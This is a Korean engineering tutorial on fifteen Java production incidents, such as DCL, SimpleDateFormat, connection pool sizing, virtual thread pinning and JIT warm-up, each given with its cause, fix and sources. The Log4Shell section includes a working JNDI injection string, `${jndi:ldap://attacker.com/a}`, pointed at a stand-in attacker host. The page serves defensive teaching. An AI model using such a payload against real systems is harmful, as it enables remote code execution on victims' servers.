실무 노하우 — 실제 사고 사례 (출처 포함)
현장에서 실제로 시스템을 무너뜨린 자바 사고들. 각 항목은 권위 있는 1차 자료(JSR·공식 Javadoc·OpenJDK 버그DB·NVD CVE·OWASP·엔지니어링 포스트모템)로 검증했고, 지금도 유효한 것만 추렸다. 원리를 알면 다시는 안 밟는다.
① 이중 검사 잠금(DCL)이 volatile 없이 조용히 깨진다
class Singleton {
private static Singleton instance; // ✗ volatile 없음
static Singleton get() {
if (instance == null) { // 1차 검사 (락 없이)
synchronized (Singleton.class) {
if (instance == null) // 2차 검사
instance = new Singleton(); // 💥 여기가 문제
}
}
return instance;
}
}
무엇이 터지나 — instance = new Singleton()은 사실 ① 메모리 할당 ② 생성자 실행 ③ 참조 대입, 세 단계다. 컴파일러·CPU는 ②와 ③을 재정렬할 수 있다. 그러면 다른 스레드가 생성자가 끝나기도 전에 null이 아닌 참조를 보고, 필드가 기본값(0/null)인 절반만 만들어진 객체를 사용한다.
고침
private static volatile Singleton instance; // ✓ JSR-133(Java 5)부터 재정렬 차단
// 또는 — 홀더 관용구(클래스 초기화는 JVM이 스레드 안전 보장)
private static class Holder { static final Singleton I = new Singleton(); }
static Singleton get() { return Holder.I; }
출처: Pugh et al. ["Double-Checked Locking is Broken" Declaration], 자바 메모리 모델 JSR-133 (Java 5). "writes that initialize the Helper object and the write to the helper field can be done or perceived out of order."
② SimpleDateFormat을 static으로 공유 → 날짜가 깨진다
// ✗ 대표적 사고: 비용 아끼려 static 공유 → 멀티스레드에서 파싱 오류·예외
static final SimpleDateFormat SDF = new SimpleDateFormat("yyyy-MM-dd");
Date d = SDF.parse(input); // 동시 호출 시 NumberFormatException / 엉뚱한 날짜
무엇이 터지나 — SimpleDateFormat은 **가변(mutable)**이다. format()/parse()가 내부 Calendar 필드에 중간 상태를 저장하기 때문에, 여러 스레드가 같은 인스턴스를 쓰면 서로의 상태를 덮어써 결과가 깨지거나 예외가 난다. 공식 Javadoc도 "Date formats are not synchronized" 라고 명시.
고침
// ✓ java.time DateTimeFormatter — 불변(immutable) + 스레드 안전. static 공유 OK
static final DateTimeFormatter FMT = DateTimeFormatter.ofPattern("yyyy-MM-dd");
LocalDate d = LocalDate.parse(input, FMT);
출처:
java.text.SimpleDateFormat공식 Javadoc 동기화 경고. 대체재는java.time.format.DateTimeFormatter(JSR-310) — immutable & thread-safe.
③ Log4Shell — 로그 한 줄로 원격 코드 실행 (CVE-2021-44228)
// 공격자가 보낸 User-Agent/입력을 그대로 로깅했을 뿐인데…
log.info("login attempt: {}", userInput);
// userInput = ${jndi:ldap://attacker.com/a}
무엇이 터지나 — Log4j 2의 메시지 룩업 치환 기능이 로그 문자열 안의 ${jndi:ldap://...}를 해석해, 공격자 LDAP 서버에서 악성 자바 클래스를 내려받아 실행한다 → 원격 코드 실행(RCE). 영향: Log4j 2.0-beta9 ~ 2.14.1. 2021년 인터넷 전체를 흔든 사고.
교훈·고침
- 신뢰할 수 없는 입력을 동적 해석(JNDI·치환·역직렬화)에 흘리지 마라.
- Log4j는 2.17.x로 업그레이드(룩업 제거). 임시방편으로
JndiLookup.class제거.formatMsgNoLookups만으론 불완전(이후 CVE-2021-45046/45105 추가 발견).
출처: NVD CVE-2021-44228 (Log4Shell), Apache Log4j Security 공지. 후속: CVE-2021-45046, CVE-2021-45105.
④ 자바 역직렬화 = 신뢰 못 할 데이터를 코드로 (RCE)
// ✗ 네트워크/쿠키/큐에서 받은 바이트를 그대로 역직렬화
Object o = new ObjectInputStream(untrustedStream).readObject(); // 💥
무엇이 터지나 — readObject()는 바이트 스트림으로 임의 객체 그래프를 복원한다. 클래스패스에 있는 라이브러리(예: Apache Commons Collections)의 메서드들을 엮은 **가젯 체인**으로, 역직렬화 도중 원격 코드 실행이 가능하다(ysoserial로 무기화).
교훈·고침
- 신뢰할 수 없는 데이터는 절대 자바 직렬화로 역직렬화하지 마라.
- 꼭 필요하면 역직렬화 필터링(JEP 290, Java 9 —
ObjectInputFilter로 허용 클래스 화이트리스트). - 데이터 교환은 자바 직렬화 대신 JSON/Protobuf 같은 데이터 전용 포맷.
출처: OWASP "Deserialization of Untrusted Data" (Top 10 A08:2021), OpenJDK JEP 290 — Serialization Filtering(Java 9). Effective Java Item 85: "자바 직렬화를 피하라."
⑤ 거짓 공유(False Sharing) — 락도 없는데 느려진다
// 두 스레드가 서로 다른 필드를 갱신하는데도 성능이 안 나온다
class Counters { volatile long a; volatile long b; } // a, b가 같은 캐시 라인(64B)에
무엇이 터지나 — CPU 캐시는 캐시 라인(보통 64바이트) 단위로 동작한다. a와 b가 한 라인에 들어가면, 한 스레드가 a만 바꿔도 다른 코어의 b 캐시가 무효화되어(cache-line ping-pong) 둘이 논리적으론 독립인데 서로를 느리게 만든다.
고침 — @Contended(jdk.internal.vm.annotation) 또는 패딩으로 핫 필드를 다른 라인에 분리. (대표 활용: LongAdder의 셀 분산.)
출처: Aleksey Shipilëv(JMM·JMH 권위자)의 false sharing 분석,
@jdk.internal.vm.annotation.Contended. JDKLongAdder가 이 원리로 고경쟁 카운터를 빠르게 만든다.
⑥ 커넥션 풀을 100 → 300으로 키웠더니 더 느려졌다 — 왜?
// ✗ 트래픽 늘었다고 풀을 100 → 300으로. 오히려 응답이 느려지고 DB CPU만 치솟는다
hikari.setMaximumPoolSize(300);
직관은 "연결이 많을수록 더 많이 처리"지만, 실제로는 반대로 간다. 왜 그런지 로우레벨로 따라가 보자. 커넥션 하나는 결국 DB 서버의 백엔드 프로세스/스레드 하나다. 풀이 300이면 DB에서 최대 300개가 동시에 CPU를 달라고 줄을 선다.
① 코어는 한정돼 있다. 8코어 DB는 진짜로는 8개만 동시에 실행한다(하이퍼스레딩·I/O 대기로 조금 더). 300개가 8코어를 원하면 나머지 292개는 그저 대기하며 RAM과 스케줄링 부담만 먹고 결과는 0을 낸다.
② 컨텍스트 스위치가 폭증한다. OS는 코어를 잘게 쪼개 300개를 번갈아 돌린다. 전환할 때마다 레지스터·상태를 저장하고 복원하는데 — 그 사이 코어는 어떤 쿼리도 처리하지 못한다(JVM 페이지의 컨텍스트 스위치 비용 그대로). 연결이 많을수록 일은 줄고 전환만 는다.
③ 캐시가 스래싱된다. 전환할 때마다, 방금 그 쿼리가 데워 놓은 CPU 캐시(L1/L2)의 워킹셋이 다른 쿼리 데이터로 밀려난다(GC·JIT 페이지의 캐시 라인 64B 이야기). 다시 그 쿼리로 돌아오면 캐시 미스부터 다시 — RAM이 CPU보다 ~100배 느린 "메모리 장벽"을 매번 새로 맞는다.
④ 공유 자원 락·버퍼가 경합한다. 프로세스가 많아질수록 DB 내부의 공유 락(spinlock·LWLock — 버퍼 매니저·락 매니저·WAL)과 shared_buffers(디스크 블록 캐시) 페이지를 서로 다툰다. CPU가 *일이 아니라 락 획득과 캐시 페이지 축출*에 시간을 태운다. (게다가 연결마다 작업 메모리를 먹어, 무작정 늘리면 OOM·스왑까지.)
한 줄로 — 코어 수를 넘는 연결은 병렬성을 더하는 게 아니라 **오버헤드(전환·캐시 미스·락 경합)**만 더한다. 그래서 풀을 작게 둬 DB를 "바쁘되 과포화는 안 되게" 유지하고, 초과 앱 스레드는 DB에 들이밀지 말고 풀 큐에서 대기시키는 게 전체 처리량이 높다.
고침 — 시작 공식: connections ≈ (코어 수 × 2) + 디스크 수. SSD면 디스크≈1 → 4코어 서버는 약 9. (CPU 바운드는 코어 수만큼, I/O 대기 동안 다른 쿼리가 코어를 쓰니 ×2.) 그 위는 부하 테스트로 미세 조정.
출처: HikariCP Wiki "About Pool Sizing"(brettwooldridge), PostgreSQL Wiki "Number Of Database Connections". Oracle Real-World Performance 그룹은 적정 vs 과대 풀에서 약 50배 처리량 차이를 시연했다.
⑦ ConcurrentHashMap.computeIfAbsent 재귀 → 무한 루프
// ✗ 재귀 메모이제이션: compute 안에서 같은 캐시를 또 computeIfAbsent
Map<Integer,Integer> memo = new ConcurrentHashMap<>();
memo.computeIfAbsent(n, k -> memo.computeIfAbsent(k - 1, ...) + ...);
무엇이 터지나 — computeIfAbsent는 버킷을 잠근 채 함수를 실행한다. 그 함수가 같은 맵을 다시 갱신하면 같은 버킷에 재진입 → Java 8에선 끝나지 않는 루프/데드락(JDK-8062841), Java 9+에선 IllegalStateException: Recursive update. Javadoc도 "계산은 짧고 단순해야 하며 이 맵의 다른 매핑을 갱신해선 안 된다"고 명시.
고침 — 재귀 메모이제이션엔 computeIfAbsent를 쓰지 말고 get → 계산 → putIfAbsent로 분리하거나 별도 캐시 사용.
출처: OpenJDK JDK-8062841, jOOQ blog "Avoid Recursion in ConcurrentHashMap.computeIfAbsent()", ConcurrentHashMap Javadoc.
⑧ 정규식 파국적 백트래킹(ReDoS) — Cloudflare 27분 글로벌 장애
// ✗ 중첩 탐욕 수량자: 매칭 실패 시 백트래킹이 입력 길이에 지수적으로 폭발
Pattern.compile("(.*.*)=.*").matcher(attackerInput).matches();
무엇이 터지나 — 2019-07-02, Cloudflare가 WAF에 배포한 정규식의 **중첩 와일드카드(.*.*)**가 특정 입력에서 지수적 백트래킹을 일으켜 전 세계 모든 코어 CPU 100% → 27분간 502. java.util.regex도 같은 백트래킹 기반 엔진이라 동일하게 취약(ReDoS).
고침 — 신뢰 못 할 입력에 중첩 탐욕 정규식 금지. 소유 수량자(a++)·원자 그룹((?>...))·입력 길이 제한·매칭 타임아웃. 그리고 전역 동시 배포 대신 카나리(Cloudflare의 2차 교훈).
출처: Cloudflare "Details of the Cloudflare outage on July 2, 2019" 공식 포스트모템.
⑨ OutOfMemoryError: unable to create new native thread
// ✗ 요청마다 스레드 생성 — 부하 급증 시 힙은 멀쩡한데 죽는다
new Thread(() -> handle(req)).start();
무엇이 터지나 — 스레드는 네이티브 자원이다. **OS 스레드 한계(ulimit -u)**와 **스레드당 스택(~1MB 네이티브 메모리)**을 소모해, 무한 생성하면 힙 OOM이 아니라 네이티브 스레드 생성 실패로 죽는다(원인·해법이 힙 OOM과 다름).
고침 — ExecutorService 스레드 풀로 상한을 둔다. I/O 블로킹이 많으면 가상 스레드(Java 21)로 스레드 수 압박 자체를 제거.
출처: JVM/OS 일반 — 스레드↔OS 스레드 1:1 매핑, 스택
-Xss.
⑩ G1의 거대 객체(Humongous) — 빈 공간이 넘치는데 OOM
// ✗ 수 MB짜리 배열·버퍼를 자주 만든다 (이미지·배치·큰 응답)
byte[] buf = new byte[8 * 1024 * 1024]; // 8MB
무엇이 터지나 — G1은 힙을 균등한 리전(보통 1~32MB)으로 나누는데, **리전 절반 이상 크기의 객체는 "거대 객체(humongous)"**로 따로 취급한다. 거대 객체는 연속된 리전에 통째로 놓이고 일반 GC는 물론 Full GC에서도 이동하지 않는다. 게다가 마지막 리전의 남는 공간은 그 객체가 회수될 때까지 버려진다. 이런 게 쌓이면 리전 사이에 구멍이 생겨(단편화), 전체로는 빈 공간이 많은데도 연속 리전을 못 구해 잦은 Full GC나 심하면 OOM이 난다.
고침·왜 — ① -XX:G1HeapRegionSize를 키우면 임계(리전 절반)가 올라가 그 객체가 더는 거대하지 않게 되어 일반 할당 경로를 탄다(단, 리전 수가 줄어 GC가 둔해질 수 있다). ② 더 근본적으로 큰 배열을 잘게 쪼개거나 스트리밍해 거대 객체 자체를 안 만든다.
출처: Oracle G1 GC Tuning Guide, Microsoft for Java "Humongous Objects", Krzysztof Słusarski의 G1 humongous 프로파일링.
⑪ 힙은 멀쩡한데 죽는다 — DirectByteBuffer 오프힙 누수
// 힙 밖(네이티브) 메모리를 쓰는 버퍼 — GC가 직접 보지 못한다
ByteBuffer buf = ByteBuffer.allocateDirect(1 << 20); // 1MB 오프힙
무엇이 터지나 — allocateDirect(와 Netty 같은 NIO 프레임워크)는 *힙 밖 네이티브 메모리*에 버퍼를 잡는다. 이 메모리의 해제는 자바 래퍼 객체가 GC될 때 Cleaner(PhantomReference)가 뒤늦게 풀어 주는 구조라, 힙에 여유가 많아 GC가 잘 안 일어나면 네이티브 메모리만 계속 쌓인다. 게다가 JDK는 스레드마다 I/O용 direct buffer를 캐싱해서, 스레드가 많고 블록이 크면 누수처럼 보인다. 증상은 힙 OOM이 아니라 OutOfMemoryError: Direct buffer memory.
고침·왜 — ① -XX:MaxDirectMemorySize로 오프힙 상한을 명시한다(상한에 닿으면 GC를 유도해 Cleaner가 돌게 한다). ② JDK 스레드 캐시는 -Djdk.nio.maxCachedBufferSize=262144(256KB 초과는 캐시 안 함)로 묶는다. ③ Netty는 풀링 할당자 + 명시적 release()(참조 카운팅)로 GC에 의존하지 않게 한다.
출처: evanjones.ca "Fixing Java's ByteBuffer native memory leak", DZone 오프힙 트러블슈팅, grpc-java #5583.
⑫ 캐시가 DB를 죽인다 — 캐시 스탬피드(thundering herd)
// ✗ 인기 키들이 같은 TTL로 한꺼번에 만료 → 수천 요청이 동시에 DB로 직격
String v = cache.get(key, k -> db.expensiveQuery(k));
무엇이 터지나 — 자주 쓰는 캐시 키가 동시에 만료되면, 그 순간 수천 요청이 일제히 캐시 미스가 나 같은 무거운 쿼리를 동시에 DB로 쏜다. 평소 캐시가 막아 주던 부하가 한꺼번에 터져 DB가 무너진다 — 캐시가 오히려 DB를 죽이는 역설(thundering herd).
고침·왜 — ① TTL 지터: 만료 시각에 ±10~20% 무작위를 줘 동시 만료를 흩는다(1000개가 한 점이 아니라 몇 분에 걸쳐 만료). ② 요청 합치기(single-flight): 같은 키의 동시 미스는 한 번만 계산하고 나머지는 그 결과를 기다린다(Caffeine get(key, loader)가 키 단위로 이를 보장, 또는 ConcurrentHashMap + CompletableFuture로 직접). ③ stale-while-revalidate: 만료돼도 헌 값을 즉시 주고 백그라운드로 갱신.
출처: Redis blog "How to tame the thundering herd", 분산 시스템 캐시 가이드 다수.
⑬ 가상 스레드가 캐리어를 물고 서비스가 멈춘다 (Netflix, JDK 21)
가상 스레드를 켜고 잘 돌던 인스턴스가 살아는 있는데 트래픽을 안 받는 상태가 됐다. 헬스체크는 통과하고 프로세스도 멀쩡한데 응답이 없다. 눈에 띈 단서는 하나 — CLOSE_WAIT 소켓이 계속 쌓였다. 클라이언트는 끊었는데 서버가 close를 못 하고 있다는 뜻이다.
jstack을 떠 봤더니 한가해 보였다. 막혀 있는 스레드가 없다. 여기가 함정이었다.
jstack → 플랫폼 스레드만 보여 준다. 가상 스레드는 아예 출력에 없다
jcmd <pid> Thread.dump_to_file -format=json → 가상 스레드까지 나온다
JSON 덤프를 뜨자 그림이 드러났다. 수천 개의 가상 스레드가 만들어졌는데 스케줄링되지 못하고 있었고, 캐리어 스레드가 전부 pinned 상태였다.
원인은 JDK 21의 제약이다. 가상 스레드는 캐리어 스레드 풀(ForkJoinPool, 병렬도 = 가용 프로세서 수) 위에서 돈다. 그런데 synchronized 블록에 들어간 가상 스레드는 그 안에서 I/O로 블로킹돼도 캐리어에서 내려오지(unmount) 못했다.
가상 스레드 A ─ synchronized 진입 → I/O 블로킹 → 캐리어 1 점유한 채 멈춤
가상 스레드 B ─ synchronized 진입 → I/O 블로킹 → 캐리어 2 점유한 채 멈춤
...
캐리어가 코어 수만큼밖에 없다 → 전부 물리면 나머지 가상 스레드는 영영 실행되지 못한다
코어가 8개면 synchronized 안에서 블로킹하는 가상 스레드 8개만으로 전체가 멈춘다. 스레드 풀 고갈과 증상은 같은데, 정작 스레드 덤프에는 안 보인다.
JDK 21 당시의 회피책은 synchronized를 ReentrantLock으로 바꾸는 것이었다. ReentrantLock은 처음부터 가상 스레드를 인지해 unmount가 됐다. 문제는 내 코드만 바꿔서는 안 된다는 점이다 — 라이브러리 내부의 synchronized까지 전부 걷어내야 했다.
JDK 24의 JEP 491이 이걸 근본적으로 고쳤다. 모니터 소유권을 캐리어 스레드가 아니라 가상 스레드 자신의 identity로 추적하도록 다시 만들어서, synchronized 안에서도 unmount하고 Object.wait()에 들어갔다가 모니터를 다시 잡을 수 있다. **JDK 25(2025-09)가 이 수정을 담은 첫 LTS**다.
다만 pinning이 완전히 사라진 건 아니다. 남아 있는 세 가지:
① 네이티브 메서드 프레임(JNI·FFM) — 네이티브 코드가 스택 포인터를 들고 있을 수 있어 여전히 고정
② 클래스 로딩·초기화(<clinit>) 중 블로킹
③ 리눅스 파일 I/O — JDK에 아직 io_uring 통합이 없어 고정된다
파일 I/O가 남은 게 특히 중요하다. "가상 스레드니까 블로킹해도 된다"고 파일을 마구 읽으면 여전히 캐리어가 묶인다. 소켓 I/O와 다르다.
또 하나 같이 겪은 문제가 ThreadLocal 오용이다. 데드락을 일으키지는 않는데, 가상 스레드는 수십만 개까지 만들어지므로 스레드마다 붙는 ThreadLocal 값이 그대로 메모리 압박이 된다. 플랫폼 스레드 200개 기준으로 짜 둔 캐시가 가상 스레드에서는 조용히 힙을 먹는다. Java 25의 Scoped Values(JEP 506) 가 이 자리를 대체하려는 이유다.
출처: InfoQ "Virtual Threads after JDK 24: What Changed for Production Java", JEP 491, JEP 506.
⑭ 스택트레이스가 사라진다 — JVM이 지운 것이다
운영 로그에 NullPointerException은 찍히는데 스택트레이스가 비어 있다. 메시지도 없다. 어느 줄에서 터졌는지 알 수가 없어 원인 추적이 막힌다. 코드에는 스택트레이스를 지우는 곳이 없다.
범인은 JVM 최적화 -XX:+OmitStackTraceInFastThrow 로, JDK 1.4부터 기본 켜져 있다.
JIT 컴파일러가 같은 위치에서 같은 예외가 반복해서 던져지는 것을 감지하면, 그 예외 객체를 스택트레이스도 메시지도 없는 미리 만들어 둔 싱글턴 인스턴스로 바꿔치기한다. 예외 생성 비용의 대부분이 fillInStackTrace()에서 나오기 때문에, 반복되는 예외에서 그걸 건너뛰어 성능을 얻는 최적화다.
// 반복 호출하면 어느 시점(대략 수천 회, JIT 컴파일 이후)부터
try { arr[999] = 1; }
catch (ArrayIndexOutOfBoundsException e) {
e.getStackTrace().length; // 처음엔 정상 → 어느 순간부터 0
}
적용 범위가 중요하다. 이 최적화는 JVM이 바이트코드 실행 중 암묵적으로 던지는 예외에만 걸린다. 배열 범위 초과, null 역참조, 0 나누기 같은 것들이다. new로 직접 만들어 던진 예외는 영향을 받지 않는다.
그래서 증상이 이렇게 나온다 — 서비스 초기에는 스택트레이스가 잘 찍히다가, 트래픽이 쌓이고 그 예외가 반복되기 시작하면 어느 순간부터 사라진다. "어제는 로그가 잘 나왔는데 오늘은 안 나온다"가 되는 이유다.
진단 catch 블록에서 e.getStackTrace().length == 0 인지 확인
해제 -XX:-OmitStackTraceInFastThrow
운영 서버에서 원인 불명의 빈 예외를 만나면 이 옵션을 먼저 의심한다. 다만 끄면 반복 예외마다 스택을 채우므로, 예외가 초당 수천 번 터지는 경로라면 성능 대가가 있다. 근본 해법은 그 예외 자체를 없애는 것이다.
⑮ 배포 직후에만 CPU가 튀고 응답이 느리다 — JIT 워밍업
무중단 배포를 했는데 새로 뜬 인스턴스만 CPU가 치솟고 응답이 느리다. 몇 분 지나면 저절로 정상으로 돌아온다. 코드도 트래픽도 그대로인데 배포할 때마다 반복된다.
06편에서 본 대로 JVM은 인터프리터로 시작해서 자주 도는 코드만 JIT으로 번역한다. 갓 뜬 인스턴스는 프로파일이 비어 있어 모든 코드가 인터프리터로 돈다. 게다가 JIT 컴파일 자체가 CPU를 쓴다. 요청 처리와 컴파일이 CPU를 두고 경쟁하는 구간이 배포 직후다.
로드밸런서가 새 인스턴스에 바로 정상 트래픽을 몰아주면 이 구간에 요청이 쏟아져 타임아웃까지 간다.
대응
① 워밍업 — 트래픽을 받기 전에 주요 경로를 미리 호출해 JIT을 태운다
② 점진 투입 — LB 가중치를 서서히 올린다 (슬로우 스타트)
③ 헬스체크 분리 — liveness 와 readiness 를 나눠, 워밍업 끝나고 readiness 통과
④ AOT 캐시 (JEP 483, JDK 24) — 훈련 실행에서 모은 클래스 로딩·링크 결과를 캐시
④가 최근에 생긴 선택지다. 08편에서 본 Project Leyden의 AOT 캐시는 기동 구간의 클래스 로딩·링크 비용을 줄여 준다. 다만 JIT을 대체하지는 않는다 — 피크 성능은 여전히 JIT이 만들고, AOT 캐시는 그 앞 구간을 도울 뿐이다. 워밍업이 여전히 필요하다.
정리 — 한 줄 교훈
| 사고 | 한 줄 |
|---|---|
| DCL | 싱글톤 lazy init 필드엔 volatile (또는 홀더 관용구) |
| SimpleDateFormat | DateTimeFormatter(불변·스레드 안전)로 갈아타라 |
| Log4Shell | 신뢰 못 할 입력 + 동적 해석 = 사고. 의존성 업데이트 생활화 |
| 역직렬화 RCE | 신뢰 못 할 데이터 역직렬화 금지, JSON·필터(JEP 290) |
| 거짓 공유 | 핫 필드는 캐시 라인 분리(@Contended) |
| 커넥션 풀 | 키울수록 느려질 수 있다 — (코어×2)+디스크 부근으로 작게 |
| CHM 재귀 | computeIfAbsent 안에서 같은 맵 갱신 금지 |
| ReDoS | 중첩 탐욕 정규식 + 신뢰 못 할 입력 = CPU 폭발 |
| native thread OOM | 스레드 풀/가상 스레드로 무한 생성 차단 |
| G1 거대 객체 | 리전 절반↑ 객체는 안 움직여 단편화 → 큰 배열 쪼개거나 RegionSize↑ |
| 오프힙 누수 | DirectByteBuffer는 GC+Cleaner 의존 → MaxDirectMemorySize·명시적 release |
| 캐시 스탬피드 | 동시 만료 → DB 직격. TTL 지터·요청 합치기·stale-while-revalidate |
| 가상 스레드 pinning | JDK 21은 synchronized 블로킹 시 캐리어 고정 → JEP 491(24)이 해결, 25가 첫 LTS. 네이티브·클래스 초기화·파일 I/O는 아직 고정 |
| 가상 스레드 진단 | jstack엔 안 보인다 → jcmd <pid> Thread.dump_to_file -format=json |
| 빈 스택트레이스 | -XX:+OmitStackTraceInFastThrow(기본 ON)가 반복된 암묵 예외의 스택을 지운다 → -XX:- 로 해제 |
| JIT 워밍업 | 배포 직후 CPU 급등은 정상 동작 — 워밍업·슬로우스타트·readiness 분리, AOT 캐시는 보조 |